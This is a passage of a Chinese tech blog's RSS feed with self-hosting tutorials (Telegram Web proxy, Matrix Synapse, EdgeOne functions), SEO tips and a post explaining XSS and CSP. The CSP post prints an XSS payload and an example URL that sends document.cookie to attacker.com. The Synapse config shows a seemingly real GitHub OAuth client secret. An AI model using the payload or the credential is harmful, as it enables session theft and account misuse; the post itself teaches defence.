||
transform: translateX(2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateX(0);
|
||
}
|
||
}
|
||
|
||
#screenity-ui [data-radix-popper-content-wrapper] { z-index: 999999999999!important; }
|
||
|
||
.screenity-shadow-dom .CanvasContainer {
|
||
position: fixed;
|
||
pointer-events: all!important;
|
||
top: 0px!important;
|
||
left: 0px!important;
|
||
z-index: 99999999999!important;
|
||
}
|
||
.screenity-shadow-dom .canvas {
|
||
position: fixed;
|
||
top: 0px!important;
|
||
left: 0px!important;
|
||
z-index: 99999999999!important;
|
||
background: transparent!important;
|
||
}
|
||
.screenity-shadow-dom .canvas-container {
|
||
top: 0px!important;
|
||
left: 0px!important;
|
||
z-index: 99999999999;
|
||
position: fixed!important;
|
||
background: transparent!important;
|
||
}
|
||
|
||
.ScreenityDropdownMenuContent {
|
||
z-index: 99999999999!important;
|
||
min-width: 200px;
|
||
background-color: white;
|
||
margin-top: 4px;
|
||
margin-right: 8px;
|
||
padding-top: 12px;
|
||
padding-bottom: 12px;
|
||
border-radius: 15px;
|
||
z-index: 99999;
|
||
font-family: 'Satoshi-Medium', sans-serif;
|
||
color: #29292F;
|
||
box-shadow: 0px 10px 38px -10px rgba(22, 23, 24, 0.35),
|
||
0px 10px 20px -15px rgba(22, 23, 24, 0.2);
|
||
animation-duration: 400ms;
|
||
animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
|
||
will-change: transform, opacity;
|
||
}
|
||
.ScreenityDropdownMenuContent[data-side="top"] {
|
||
animation-name: slideDownAndFade;
|
||
}
|
||
.ScreenityDropdownMenuContent[data-side="right"] {
|
||
animation-name: slideLeftAndFade;
|
||
}
|
||
.ScreenityDropdownMenuContent[data-side="bottom"] {
|
||
animation-name: slideUpAndFade;
|
||
}
|
||
.ScreenityDropdownMenuContent[data-side="left"] {
|
||
animation-name: slideRightAndFade;
|
||
}
|
||
.ScreenityItemIndicator {
|
||
position: absolute;
|
||
right: 12px;
|
||
width: 18px;
|
||
height: 18px;
|
||
background: #3080F8;
|
||
border-radius: 50%;
|
||
display: inline-flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
}
|
||
.ScreenityDropdownMenuItem,
|
||
.ScreenityDropdownMenuRadioItem {
|
||
font-size: 14px;
|
||
line-height: 1;
|
||
display: flex;
|
||
align-items: center;
|
||
height: 40px;
|
||
padding: 0 5px;
|
||
position: relative;
|
||
padding-left: 22px;
|
||
padding-right: 22px;
|
||
user-select: none;
|
||
outline: none;
|
||
}
|
||
.ScreenityDropdownMenuItem:hover {
|
||
background-color: #F6F7FB !important;
|
||
cursor: pointer;
|
||
}
|
||
.ScreenityDropdownMenuItem[data-disabled] {
|
||
color: #6E7684; !important;
|
||
cursor: not-allowed;
|
||
background-color: #F6F7FB !important;
|
||
}
|
||
|
||
|
||
|
||
@keyframes slideUpAndFade {
|
||
from {
|
||
opacity: 0;
|
||
transform: translateY(2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateY(0);
|
||
}
|
||
}
|
||
|
||
@keyframes slideRightAndFade {
|
||
from {
|
||
opacity: 0;
|
||
transform: translateX(-2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateX(0);
|
||
}
|
||
}
|
||
|
||
@keyframes slideDownAndFade {
|
||
from {
|
||
opacity: 0;
|
||
transform: translateY(-2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateY(0);
|
||
}
|
||
}
|
||
|
||
@keyframes slideLeftAndFade {
|
||
from {
|
||
opacity: 0;
|
||
transform: translateX(2px);
|
||
}
|
||
to {
|
||
opacity: 1;
|
||
transform: translateX(0);
|
||
}
|
||
}
|
||
|
||
&lt;/style&gt;&lt;/div&gt;&lt;/div&gt;&lt;/body&gt;&lt;div id="immersive-translate-popup" style="all: initial"&gt;&lt;/div&gt;&lt;/html&gt;
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-18-30-40-75bf069f14b199651db36b1bda015bc2_720.C-ptaoE1.jpg" alt="" /></p>
|
||
<h1>原理</h1>
|
||
<p>TG Web采用前后端分离</p>
|
||
<p>前端为静态资产,可以直接部署到Cloudflare Page</p>
|
||
<p>后端有高达10个API,反代一下即可</p>
|
||
<p>然后将前端请求的 <code>.web.telegram.org</code> 改为你的域名即可</p>
|
||
<h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>以 TG Web K举例子</p>
|
||
</blockquote>
|
||
<p>TG 后端API共有10个,分别为</p>
|
||
<pre><code>pluto.web.telegram.org
|
||
venus.web.telegram.org
|
||
aurora.web.telegram.org
|
||
vesta.web.telegram.org
|
||
flora.web.telegram.org
|
||
pluto-1.web.telegram.org
|
||
venus-1.web.telegram.org
|
||
aurora-1.web.telegram.org
|
||
vesta-1.web.telegram.org
|
||
flora-1.web.telegram.org
|
||
</code></pre>
|
||
<p>假如我的域名是 <code>072103.xyz</code> ,则为 <code>pluto.web.072103.xyz</code> 。其他的以此类推</p>
|
||
<p>Fork 仓库: <a href="https://github.com/morethanwords/tweb">morethanwords/tweb: Telegram Web K, GPL v3</a></p>
|
||
<p>全局搜索 <code>.web.telegram.org</code> 替换为 <code>.web.072103.xyz</code></p>
|
||
<p>将该仓库部署到Cloudflare Page,构建命令为 <code>pnpm build</code> ,构建输出目录为 <code>public</code></p>
|
||
<h1>成功</h1>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-18-21-46-0c8fc3ac93604c65401132aaa59c803d_720.BTslyNna.jpg" alt="" /></p>
|
||
</content:encoded></item><item><title>QQ微信不够私密?自建自己的聊天服务器!</title><link>https://blog.acofork.com/posts/self-host-matrix/</link><guid isPermaLink="true">https://blog.acofork.com/posts/self-host-matrix/</guid><description>通过自建Synapse,用户可以通过Element等软件来直接在你的服务器上聊天</description><pubDate>Sat, 02 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>前置环境准备</h1>
|
||
<p>由于Synapse、Matrix(下文简称”矩阵“)手搓部署非常麻烦。所以请安装 <strong>1Panel面板</strong></p>
|
||
<h1>部署PostgreSQL</h1>
|
||
<p>安装并创建名为 <code>synapse</code> 用户名也为 <code>synapse</code> 的数据库</p>
|
||
<p>前往应用商店安装 <code>PGAdmin4</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-24-58-image.Dukbnojp.png" alt="" /></p>
|
||
<p>接着点击添加服务器</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-27-10-image.BwzuGLXw.png" alt="" /></p>
|
||
<p>相关信息可以在连接信息看到</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-27-53-image.BhMJqDaM.png" alt="" /></p>
|
||
<p><strong>删除</strong>刚刚创建的 <code>synapse</code> 这个数据库</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-28-49-image.D2AQvPQq.png" alt="" /></p>
|
||
<p>重新创建同名数据库</p>
|
||
<p>设置所有者(即用户名)为 <code>synapse</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-29-36-image.CWyfKxsy.png" alt="" /></p>
|
||
<p>将 <code>排序规则</code> 和 <code>字符类型</code> 都改为 <code>C</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-30-34-image.B6ghicbq.png" alt="" /></p>
|
||
<h1>部署Synapse</h1>
|
||
<p>首先参照1Panel官方的教程去创建一个存储卷,否则安装 <code>synapse</code> 会失败</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-32-00-image.BfSRocfy.png" alt="" /></p>
|
||
<p>安装 <code>synapse</code></p>
|
||
<p>导航到文件管理: <code>/var/lib/docker/volumes/synapse-data/_data</code></p>
|
||
<p>你应该可以看到</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-02-17-33-50-image.CcNMlpXn.png" alt="" /></p>
|
||
<p>编辑 <code>homeserver.yaml</code> ,并按需配置</p>
|
||
<pre><code>server_name: "家服务器名称,比如:m.2x.nz"
|
||
public_baseurl: "公共URL,比如:https://m.2x.nz"
|
||
pid_file: /data/homeserver.pid
|
||
|
||
serve_server_wellknown: true # 启用联邦
|
||
|
||
listeners:
|
||
- port: 8008
|
||
tls: false
|
||
type: http
|
||
x_forwarded: true
|
||
resources:
|
||
- names: [client, federation]
|
||
compress: false
|
||
response_headers:
|
||
Access-Control-Allow-Origin: "https://app.element.io"
|
||
Access-Control-Allow-Methods: "GET, POST, OPTIONS"
|
||
Access-Control-Allow-Headers: "Content-Type, Authorization"
|
||
|
||
database:
|
||
name: psycopg2
|
||
args:
|
||
user: synapse
|
||
password: 你的数据库密码
|
||
dbname: synapse
|
||
host: 你的PostgreSQL的容器名称
|
||
cp_min: 5
|
||
cp_max: 10
|
||
|
||
log_config: "/data/my.matrix.host.log.config"
|
||
media_store_path: /data/media_store
|
||
|
||
registration_shared_secret: "这里的东西是随机生成的,每个人都不一样,请忽略这一块,并使用你的配置"
|
||
macaroon_secret_key: "这里的东西是随机生成的,每个人都不一样,请忽略这一块,并使用你的配置"
|
||
form_secret: "这里的东西是随机生成的,每个人都不一样,请忽略这一块,并使用你的配置"
|
||
signing_key_path: "/data/my.matrix.host.signing.key"
|
||
|
||
report_stats: false
|
||
|
||
trusted_key_servers:
|
||
- server_name: "matrix.org"
|
||
|
||
# Github OAuth
|
||
oidc_providers:
|
||
- idp_id: github
|
||
idp_name: Github
|
||
idp_brand: "github" # optional: styling hint for clients
|
||
discover: false
|
||
issuer: "https://github.com/"
|
||
client_id: "Ov23liaHxxYHybb0jRoZ" # TO BE FILLED
|
||
client_secret: "e937f214ea7c132924ab34c76d83f4b7099d696e" # TO BE FILLED
|
||
authorization_endpoint: "https://github.com/login/oauth/authorize"
|
||
token_endpoint: "https://github.com/login/oauth/access_token"
|
||
userinfo_endpoint: "https://api.github.com/user"
|
||
scopes: ["read:user"]
|
||
user_mapping_provider:
|
||
config:
|
||
subject_claim: "id"
|
||
localpart_template: "{{ user.login }}"
|
||
display_name_template: "{{ user.name }}"
|
||
|
||
### ✅ 邮件配置(确保SMTP验证正常)
|
||
email:
|
||
smtp_host: "你的SMTP发件服务器"
|
||
smtp_port: 465
|
||
smtp_user: "你的发件邮箱"
|
||
smtp_pass: "你的SMTP密码"
|
||
force_tls: true
|
||
notif_from: "Matrix &lt;你的发件邮箱&gt;"
|
||
validation_token_lifetime: "5m"
|
||
|
||
### ✅ 启用注册 + 邮箱验证 + 密码找回
|
||
enable_registration: true
|
||
registrations_require_3pid:
|
||
- email
|
||
registration_requires_token: false # 确保不强制邀请码注册(默认关闭)
|
||
password_config:
|
||
enabled: true
|
||
|
||
### ✅ 允许邮箱登录
|
||
login_via_existing_session:
|
||
enabled: true
|
||
|
||
rc_registration:
|
||
per_second: 0.003 # 每秒允许的注册请求(例如:0.003 ≈ 每5分钟一次)
|
||
burst_count: 1 # 同一IP地址的最大注册突发数
|
||
|
||
# 消息发送速率限制
|
||
rc_message:
|
||
per_second: 0.2 # 每秒允许发送的消息数
|
||
burst_count: 10 # 突发消息缓冲区大小
|
||
|
||
# 房间加入速率限制
|
||
rc_joins:
|
||
local:
|
||
per_second: 0.1 # 本地用户加入房间的速率
|
||
burst_count: 10
|
||
remote:
|
||
per_second: 0.01 # 远程用户加入房间的速率
|
||
burst_count: 10
|
||
|
||
# 媒体保留设置
|
||
media_retention:
|
||
# 本地媒体文件的保留时间
|
||
local_media_lifetime: 90d
|
||
|
||
# 远程媒体文件的保留时间(来自其他homeserver的媒体)
|
||
remote_media_lifetime: 14d
|
||
|
||
# 删除陈旧设备的时间
|
||
delete_stale_devices_after: 1y
|
||
|
||
auto_join_rooms:
|
||
- "#XXX:你的家服务器URL" # 需要自动加入的房间
|
||
</code></pre>
|
||
<p>按需配置,更多高级配置参阅: <a href="https://element-hq.github.io/synapse/latest/usage/configuration/homeserver_sample_config.html">Homeserver Sample Config File - Synapse</a></p>
|
||
<h1>创建管理员账号</h1>
|
||
<p>连接上容器的终端然后输入这串命令创建管理员账号</p>
|
||
<pre><code>register_new_matrix_user http://localhost:8008 -c /data/homeserver.yaml -a -u 管理员用户名 -p 密码
|
||
</code></pre>
|
||
<h1>开始聊天</h1>
|
||
<p>前往 https://app.element.io 将家服务器改为你的(必须为HTTPS)</p>
|
||
<p>通过刚刚创建的管理员账号登录</p>
|
||
<p>其他人可以通过邮箱注册</p>
|
||
</content:encoded></item><item><title>对标CF Worker?拿EdgeOne边缘函数做一个随机图API!</title><link>https://blog.acofork.com/posts/eo-function/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eo-function/</guid><description>很早就知道EdgeOne边缘函数,一直都没来得及体验,今天上手后发现它真的很强大</description><pubDate>Fri, 01 Aug 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>前往 <a href="https://github.com/afoim/EdgeOne_Function_PicAPI">afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API</a></p>
|
||
<p>复制 <code>worker.js</code> 代码</p>
|
||
<p>部署到EdgeOne边缘函数</p>
|
||
<p><img src="https://blog.acofork.com/_astro/4274a5c6-c3d5-468b-8c98-d515a0a22762.BNTnQKGl.webp" alt="" /></p>
|
||
<p>将代码开头的 <code>R2_CONFIG</code> 设为你自己的</p>
|
||
<pre><code>var R2_CONFIG = {
|
||
region: 'auto',
|
||
service: 's3',
|
||
accountId: '',
|
||
accessKeyId: '',
|
||
secretAccessKey: '',
|
||
bucketName: ''
|
||
};
|
||
</code></pre>
|
||
<p>配置你的R2,将横屏随机图放到 <code>ri/h</code> 和 <code>ri/v</code> 。保证跟代码中的路径一样</p>
|
||
<pre><code> // 根据路径确定前缀
|
||
var prefix = '';
|
||
if (pathname === '/h') {
|
||
prefix = 'ri/h/';
|
||
} else if (pathname === '/v') {
|
||
prefix = 'ri/v/';
|
||
} else if (pathname === '/') {
|
||
</code></pre>
|
||
<p>访问 <code>/h</code> 则展示一张横屏随机图,访问 <code>/v</code> 则展示一张竖屏随机图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/fe7629b7-2acd-4e84-bd0c-d66ee7a54528.BHUR0NEy.webp" alt="" /></p>
|
||
<p>如果需要绑定域名请设置触发规则</p>
|
||
<p><img src="https://blog.acofork.com/_astro/33d931d4-e7cd-4d5d-afd8-85b787524391.DIgEUM6o.webp" alt="" /></p>
|
||
<h1>注意</h1>
|
||
<p>边缘函数每月有300万次的请求数限制,暂不知道超出是否扣费</p>
|
||
</content:encoded></item><item><title>CSP标头是什么?为什么有人能神不知鬼不觉地盗走你的信息?</title><link>https://blog.acofork.com/posts/csp/</link><guid isPermaLink="true">https://blog.acofork.com/posts/csp/</guid><description>CSP是内容安全策略,它可以防止攻击者向您的网站恶意注入脚本以盗走用户信息</description><pubDate>Thu, 31 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>举个例子吧!</h1>
|
||
<p>这是一个无CSP标头的网站: <a href="https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E">点我</a></p>
|
||
<p>不出意外,你的浏览器会弹出一个提示</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b279f283-b5d2-4dbd-955e-5b3bba6ff656.BRJVLTp_.webp" alt="" /></p>
|
||
<h1>这是如何做到的?</h1>
|
||
<p>这个项目开源在 <a href="https://github.com/afoim/none_csp_demo">afoim/none_csp_demo</a></p>
|
||
<p>HTML内容为</p>
|
||
<pre><code>&lt;!DOCTYPE html&gt;
|
||
&lt;html&gt;
|
||
&lt;head&gt;
|
||
&lt;meta charset="UTF-8"&gt;
|
||
&lt;title&gt;欢迎页面&lt;/title&gt;
|
||
&lt;/head&gt;
|
||
&lt;body&gt;
|
||
&lt;h1&gt;欢迎&lt;/h1&gt;
|
||
&lt;p&gt;你好,&lt;span id="name"&gt;&lt;/span&gt;!&lt;/p&gt;
|
||
|
||
&lt;script&gt;
|
||
// 从 URL 参数读取用户名并显示
|
||
const params = new URLSearchParams(location.search);
|
||
const name = params.get("name");
|
||
document.getElementById("name").innerHTML = name;
|
||
&lt;/script&gt;
|
||
&lt;/body&gt;
|
||
&lt;/html&gt;
|
||
</code></pre>
|
||
<p>这个网站非常简单,网页通过查询符 <code>?name=xxx</code> 来动态显示用户名</p>
|
||
<p>比如你输入 https://none-csp-demo.pages.dev/nocsp?name=AcoFork 网页就会显示</p>
|
||
<p><img src="https://blog.acofork.com/_astro/366d0934-9c3a-4196-a7ae-1c230c916daf.D7dd0YDq.webp" alt="" /></p>
|
||
<p>而根据源码 网页是通过 <code>innerHTML</code> 直接进行文本插入的</p>
|
||
<p>这种方式没有任何的安全审查,会将传入的内容直接拼接到HTML中</p>
|
||
<p>那么...如果我们给网站这样一个 <code>name</code> 呢?</p>
|
||
<p>尝试输入</p>
|
||
<p>https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E</p>
|
||
<p>你会发现网站并没有打印出任何用户名,而且浏览器还弹出了一个奇怪的窗口</p>
|
||
<p><img src="https://blog.acofork.com/_astro/e86cfeed-a9d4-402b-aed0-fc3624f3e925.CuQbTzGe.webp" alt="" /></p>
|
||
<p>我们F12查看当前网页的源代码</p>
|
||
<p><img src="https://blog.acofork.com/_astro/ad38bc52-e689-4923-b79c-894dc9ab4136.DslOMFzZ.webp" alt="" /></p>
|
||
<p>发现在 <code>&lt;span id="name"&gt;&lt;/span&gt;</code> 中</p>
|
||
<p>被插入了一条 <code>&lt;img src="x" onerror="alert('XSS攻击成功')"&gt;</code> !</p>
|
||
<p>也就是说,网页把我们传入的 <code>name</code> 并没有解析为纯文本</p>
|
||
<p>而是暴力的直接插入了HTML</p>
|
||
<p>导致浏览器并没有渲染出来 <code>你好,&lt;img src="x" onerror="alert('XSS攻击成功')"&gt; !</code></p>
|
||
<p>而是直接将 <code>&lt;img src="x" onerror="alert('XSS攻击成功')"&gt;</code> 作为HTML去执行了!</p>
|
||
<p>由于 <code>src=x</code> 必定无法获取,又因为设置了 <code>onerror</code> 这个回退源</p>
|
||
<p>导致浏览器直接执行了 <code>alert('XSS攻击成功')</code> 这个脚本!</p>
|
||
<h1>有什么危害?</h1>
|
||
<p>举一反三,既然我们能让浏览器弹出一个提示框</p>
|
||
<p>那也就能做到其他事情</p>
|
||
<p>攻击者完全可以伪造一条URL,然后发给你,比如<strong>获取你的浏览器Cookie然后通过Fetch发送到指定的服务器</strong>!!!
|
||
<code>https://victim-site.com/page?name=&lt;img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)"&gt;</code></p>
|
||
<h1>如何设置CSP以避免这类攻击?</h1>
|
||
<p>尝试访问这个URL,该URL设置了严格的CSP策略</p>
|
||
<p>https://none-csp-demo.pages.dev/csp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E</p>
|
||
<p>你会发现并未弹出提示框,并且F12控制台出现报错</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2febeecf-6f54-4c6a-b775-ef2ac8598f37.DMBGi7Eo.webp" alt="" /></p>
|
||
<p><strong>以下是GPT给出的翻译和解释</strong></p>
|
||
<p><strong>翻译:</strong></p>
|
||
<blockquote>
|
||
<p>拒绝执行内联脚本,因为它违反了以下 CSP 指令:<code>script-src 'self'</code>。要允许执行内联脚本,必须使用 <code>'unsafe-inline'</code> 关键字、指定哈希值(例如 <code>'sha256-raHeKmhSLYgI2dPMTS+XHraijHkbV3RTs8np6RhiKqQ='</code>),或使用随机数(例如 <code>'nonce-...'</code>)。</p>
|
||
</blockquote>
|
||
<p><strong>解释:</strong><br />
|
||
你的 CSP 策略里规定只能加载本域(<code>'self'</code>)的脚本,但是你在 HTML 页面中写了 <code>&lt;script&gt;...&lt;/script&gt;</code> 这样的<strong>内联脚本</strong>(inline script)。这被当前 CSP 限制了,无法执行。</p>
|
||
<p>这样我们就成功避免了XSS攻击</p>
|
||
<p>在HTML head中添加以下内容即可</p>
|
||
<pre><code> &lt;!-- 安全的 CSP 策略 --&gt;
|
||
&lt;meta http-equiv="Content-Security-Policy" content="
|
||
default-src 'self';
|
||
script-src 'self';
|
||
object-src 'none';
|
||
frame-ancestors 'none';
|
||
base-uri 'self';
|
||
"&gt;
|
||
</code></pre>
|
||
<h1>如何保证我的数据安全?</h1>
|
||
<ol>
|
||
<li>
|
||
<p>如果你正在运营站点,<strong>请确保各个站点设置了严格的CSP策略</strong>。这样,即使有攻击者想要XSS注入,也会被CSP策略拦截</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>不要随意点击来历不明的链接或扫描来历不明的二维码</strong>。对于短链接、混淆后的链接,首先先解析出最终链接,评估风险后再访问。或者使用无痕模式访问。也许目标网站并没有严格的CSP策略,这可能会导致你的个人数据泄露</p>
|
||
</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>如何提高网站的SEO?</title><link>https://blog.acofork.com/posts/improve-seo/</link><guid isPermaLink="true">https://blog.acofork.com/posts/improve-seo/</guid><description>很多人做个网站后就不管了,殊不知想让搜索引擎快速收录并且提高排名要做的事情还不少呢!</description><pubDate>Wed, 30 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>标题</h1>
|
||
<blockquote>
|
||
<p>即每个HTML head部分的 <code>title</code></p>
|
||
</blockquote>
|
||
<h3>不要重名</h3>
|
||
<p>如果你的标题是中文,请确保不要和任何知名事物关联上,比如不要叫 <code>树叶博客</code> ,而是 <code>叶树博客</code> 。</p>
|
||
<p>搜索引擎对于知名事物给的权重很高,如果你还和这些知名事物重名,大众则很难搜索到你</p>
|
||
<h3>使用英文标题</h3>
|
||
<p>比如 <code>AcoFork Blog</code>,<code>afoim Blog</code> 。</p>
|
||
<p>尝试自创一个单词,和中文一样,不要和知名事物重名</p>
|
||
<p>搜索引擎会将无法关联的网页作为独立权重</p>
|
||
<p>直接搜索您的自创单词,大概率就能找到您的网站,如:<code>AcoFork</code></p>
|
||
<h3>跨页面使用主标题锚定</h3>
|
||
<p>一个网站大部分情况都有多个页面,如 主页,分类,归档等等</p>
|
||
<p>除了主页面要展示您的特有标题,其他页面也需要</p>
|
||
<p>比如主页面标题为 <code>AcoFork Blog</code> ,则副页面可以为 <code>分类 - AcoFork Blog</code> 或</p>
|
||
<p><code>AcoFork Blog - 分类</code> 。</p>
|
||
<p>但是请不要直接单写一个 <code>分类</code> 。虽然这可能并不会误导搜索引擎的判断(只要还是同一个域名),但可能会误导用户的判断</p>
|
||
<p>比如搜索您的网站排在第一位的是一个标题为 <code>分类</code> 的网页</p>
|
||
<h1>言简意赅写明description</h1>
|
||
<blockquote>
|
||
<p>即每个HTML head部分的 <code>meta name="description"</code></p>
|
||
</blockquote>
|
||
<p>网站描述不要写的太短,也不应太长,更不能没有</p>
|
||
<p>我的网站简介是</p>
|
||
<p><code>分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客,专注于云原生、无服务器架构和前后端开发,作者为AcoFork/afoim/二叉树树</code></p>
|
||
<h1>关键词</h1>
|
||
<blockquote>
|
||
<p>即每个HTML head部分的 <code>meta name="keywords"</code></p>
|
||
</blockquote>
|
||
<p>现代搜索引擎基本不看,很容易被滥用。所以不需要写</p>
|
||
<h1>同内容网站只能有一个</h1>
|
||
<blockquote>
|
||
<p>如无必要,请不要变更域名。也不要将其他域名指向您的站点</p>
|
||
</blockquote>
|
||
<p>假如我有 <code>acofork.com</code> <code>acofork.cn</code> 。都想指向我的同一个网站?</p>
|
||
<p><strong>请使用 301 重定向</strong></p>
|
||
<p>否则你的SEO将被破坏,搜索引擎不会将这两个站点视为同一个站点</p>
|
||
<p>同时,确保你的域名日后仅作重定向用。因为301重定向会在客户端种下一个种子</p>
|
||
<p>客户端第一次访问时,服务器返回301状态码,日后客户端则不会请求服务器,直接重定向到目标URL</p>
|
||
<p>如果日后需要将域名挪作他用,那么请不要写任何解析,避免日后部署其他服务部分用户不可用</p>
|
||
<p><strong>解决这个问题需要引导用户清除浏览器的本地缓存,非常麻烦</strong></p>
|
||
<h1>避免使用相同名字的云托管服务</h1>
|
||
<p>比如 xLog。我曾经创建过一个 <code>acofork.xlog.app</code> 的站点。现在不用了,又由于xLog是区块链,我还丢失了私钥助记词,现在无人能登上,自然也无法删除其中的内容。至今仍在破坏我站的SEO</p>
|
||
<h1>使用Lighthouse分析站点分数</h1>
|
||
<p>Lighthouse是一个浏览器插件,可以分析站点的性能、无障碍、最佳做法和性能</p>
|
||
<p>可以前往各自的浏览器插件商店搜索 <code>Lighthouse</code> 进行安装测试</p>
|
||
<p>注意需要使用无痕模式进行测试,以免其他浏览器插件影响Lighthouse的测试结果</p>
|
||
<p><img src="https://blog.acofork.com/_astro/579087ce-3a48-4390-8ba3-e42dea60135e.BVSkuGcA.webp" alt="" /></p>
|
||
<p>对于每一项出现的问题以及如何解决都有明确的指示。可以根据警告对您的站点进行优化</p>
|
||
<p><img src="https://blog.acofork.com/_astro/5174f53e-5c7f-49a9-86fc-ea6797975d59.DOSth4De.webp" alt="" /></p>
|
||
<h1>接入必应网站管理员</h1>
|
||
<p>前往 https://www.bing.com/webmasters</p>
|
||
<p>接入您的站点后,必应爬虫将会分析您的网站,并且告知您的网站是否可以在搜索结果中展示</p>
|
||
<p>必应爬虫还会针对它的视角提出您网站的问题,您可以根据提出的问题进行优化</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eabc21ac-c306-4165-afe0-1b9da3d2a179._zlVcjiX.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/081682fd-2d05-4d3f-a191-1c0f5c9b624c.CHpe6cmF.webp" alt="" /></p>
|
||
<h1>接入各大分析</h1>
|
||
<p>可以将网站接入各大分析,这样不仅能看到网站的流量,也能让搜索引擎知道这个网站是在被精心运营的</p>
|
||
<p>百度统计: https://tongji.baidu.com/</p>
|
||
<p>必应网站管理员: https://www.bing.com/webmaster/</p>
|
||
<p>谷歌搜索控制台: https://search.google.com/</p>
|
||
<p>谷歌分析: https://analytics.google.com/</p>
|
||
<p>谷歌广告: https://www.google.com/adsense/</p>
|
||
<h1>使用IndexNow</h1>
|
||
<p>曾经,如果想要提高网站的SEO,我们只能静静等待各大搜索引擎爬虫进行网站内容的爬取</p>
|
||
<p>而 <strong>IndexNow</strong> 允许网站主动向各大搜索引擎提交高质量的内容。详见: <a href="https://www.bing.com/indexnow">Why IndexNow | Bing Webmaster Tools</a></p>
|
||
<p>如果您使用Cloudflare CDN,这是开箱即用的只需要导航到您的域名 -&gt; 缓存 -&gt; 配置 -&gt; 启用 <strong>Crawler Hints</strong> 即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/303b37e5-4104-4e2a-8a3b-bdb6094159e7.C427VpRg.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>关于本站为什么不进行ICP备案</title><link>https://blog.acofork.com/posts/why-not-icp/</link><guid isPermaLink="true">https://blog.acofork.com/posts/why-not-icp/</guid><description>由于诸多原因,本站并未进行ICP备案,这里记录了一些原因</description><pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>目前已备案,该文章存档</p>
|
||
</blockquote>
|
||
<h1>违规内容</h1>
|
||
<p>早期本站发布过文章 <a href="/posts/bypass-gfw/">点此查看</a>
|
||
该文章不符合备案规范。曾尝试过备案被打回</p>
|
||
<h1>域名不支持备案</h1>
|
||
<p>ICP备案是针对于域名的,本人名下的 2x.nz 并不在ICP备案支持的域名后缀内</p>
|
||
<p>所有支持备案的域名后缀请查看 https://domain.miit.gov.cn/</p>
|
||
<h1>中国节点加速收效甚微</h1>
|
||
<p>目前本站使用的CDN为Netlify CDN,Netlify采用AWS的IP,速度极快,在中国大陆可用性很高,延迟如下图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/96375c6a-f807-42b7-b1f0-33c0c7231037.A2h4Tshr.webp" alt="" /></p>
|
||
<p>由于本站为静态站,若进行备案可以直接使用EdgeOne Page中的中国大陆节点,延迟固然会更低,但是对比目前的速度收效甚微</p>
|
||
<h1>备案步骤繁琐</h1>
|
||
<p>若进行备案,则需要填写实际运营人相关信息并且需要购买备案码(这是最低成本的备案方式)</p>
|
||
<h1>GFW未对本站进行SNI阻断</h1>
|
||
<p>本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问</p>
|
||
<h1>泉州等地区用户仅支持访问备案域?</h1>
|
||
<p>本站之前有一个IP站点,由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流,暂时停用</p>
|
||
<p>后续会进行修复并且重新恢复IP站点的运营</p>
|
||
<p>已恢复 参见<a href="/about/">关于</a>界面</p>
|
||
<h1>后续是否会备案</h1>
|
||
<p>可能。但是不会用做主要业务,更多是提高访问可达性,主站仍为未备案站。</p>
|
||
<p>且如果备案后我需要管理两个内容分支(即无违规内容分支和原分支)我可能会放弃这么做</p>
|
||
</content:encoded></item><item><title>网易云音乐歌曲时间戳获取</title><link>https://blog.acofork.com/posts/wyy-timestrap/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wyy-timestrap/</guid><description>如果你需要歌词时间戳,且歌曲为网易云提供,那么获取它将无比简单</description><pubDate>Sun, 27 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>首先我们要获取一首歌的ID,如果你是App可以点击分享,然后 <code>复制链接</code> 。如果是Web,直接复制浏览器地址栏</p>
|
||
<p>你将得到类似这样的URL</p>
|
||
